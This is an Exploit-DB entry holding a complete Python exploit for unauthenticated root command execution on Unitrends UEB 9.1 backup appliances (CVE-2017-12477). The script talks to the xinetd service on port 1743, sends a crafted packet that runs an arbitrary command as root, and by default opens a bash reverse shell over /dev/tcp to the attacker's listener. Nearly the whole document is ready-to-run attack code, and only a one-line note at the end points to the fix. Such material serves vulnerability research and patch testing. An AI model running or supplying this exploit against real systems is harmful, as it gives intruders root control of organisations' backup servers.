Unitrends UEB 9.1 – ‘Unitrends bpserverd’ Remote Command Execution

  • 作者: Jared Arave
    日期: 2017-08-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42957/
  • # Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1
    # Date: 08/08/2017
    # Exploit Authors: Jared Arave, Cale Smith, Benny Husted
    # Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
    # Vendor Homepage: https://www.unitrends.com/
    # Software Link: https://www.unitrends.com/download/enterprise-backup-software
    # Version: 9.1
    # Tested on: CentOS6
    # CVE: CVE-2017-12477
    
    import socket
    import binascii
    import struct
    import time
    import sys
    from optparse import OptionParser
    
    print """
    ###############################################################################
    Unauthenticated root RCE for Unitrends UEB 9.1
    Tested against appliance versions:
    [+] 9.1.0-2.201611302120.CentOS6
    
    This exploit uses roughly the same process to gain root execution
    as does the apache user on the Unitrends appliance. The process is
    something like this:
    
    1.Connect to xinetd process (it's usually running on port 1743)
    2.This process will send something like: '?A,Connect36092'
    3.Initiate a second connection to the port specified 
    in the packet from xinetd (36092 in this example)
    4.send a specially crafted packet to xinetd, containing the 
    command to be executed as root
    5.Receive command output from the connection to port 36092
    6.Close both connections
    
    NB: Even if you don't strictly need output from your command,
    The second connection must still be made for the command
    to be executed at all.
    ###############################################################################
    """
    
    # Parse command line args:
    usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
    " %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"
    
    parser = OptionParser(usage=usage)
    parser.add_option("-r", '--RHOST', dest='rhost', action="store",
    help="Target host w/ UNITRENDS UEB installation")
    parser.add_option("-l", '--LHOST', dest='lhost', action="store",
    help="Host listening for reverse shell connection")
    parser.add_option("-p", '--LPORT', dest='lport', action="store",
    help="Port on which nc is listening")
    parser.add_option("-c", '--cmd', dest='cmd', action="store",
    help="Run a custom command, no reverse shell for you.")
    parser.add_option("-x", '--xinetd', dest='xinetd', action="store",
    type="int", default=1743, 
    help="port on which xinetd is running (default: 1743)")
    
    (options, args) = parser.parse_args()
    
    if options.cmd:
    if (options.lhost or options.lport):
    parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mutually exclusive.\n")
    
    elif not options.rhost:
    parser.error("[!] No remote host specified.\n")
    
    elif options.rhost is None or options.lhost is None or options.lport is None:
    parser.print_help()
    sys.exit(1)
    
    RHOST = options.rhost
    LHOST = options.lhost
    LPORT = options.lport
    XINETDPORT = options.xinetd
    
    if options.cmd:
    cmd = options.cmd
    else:
    cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)
    
    def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
    #if you got some data, then break after wait sec
    if total_data and time.time()-begin>timeout:
    break
    #if you got no data at all, wait a little longer
    elif time.time()-begin>timeout*2:
    break
    try:
    data=the_socket.recv(8192)
    if data:
    total_data.append(data)
    begin=time.time()
    else:
    time.sleep(0.1)
    except:
    pass
    return ''.join(total_data)
    
    print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
    
    try:
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s1.connect((RHOST,XINETDPORT))
    except:
    print "[!] Failed to connect!"
    exit()
    
    data = s1.recv(4096)
    bpd_port = int(data[-8:-3])
    
    print "[+] Connected! Cmd output will come back on {}:{}".format(RHOST, str(bpd_port))
    print "[+] Connecting to bpdserverd on {}:{}".format(RHOST, str(bpd_port))
    
    try:
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2.connect((RHOST, bpd_port))
    except:
    print "[!] Failed to connect!"
    s1.close()
    exit()
    
    print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
    print "[+] '{0}'".format(cmd)
    
    if (len(cmd) > 240):
    print "[!] This command is long; this might not work."
    print "[!] Maybe try a shorter command..."
    
    cmd_len = chr(len(cmd) + 3)
    packet_len = chr(len(cmd) + 23)
    
    packet = '\xa5\x52\x00\x2d'
    packet += '\x00' * 3
    packet += packet_len
    packet += '\x00' * 3
    packet += '\x01'
    packet += '\x00' * 3
    packet += '\x4c'
    packet += '\x00' * 3
    packet += cmd_len
    packet += cmd
    packet += '\x00' * 3
    
    s1.send(packet)
    
    print "[+] cmd packet sent!"
    print "[+] Waiting for response from {0}:{1}".format(RHOST,str(bpd_port))
    
    data = recv_timeout(s2)
    
    print "[+] Here's the output -> \n\n"
    
    print data
    
    print "[+] Closing ports, exiting...."
    
    s1.close()
    s2.close()
    
    # 3. Solution:
    # Update to Unitrends UEB 10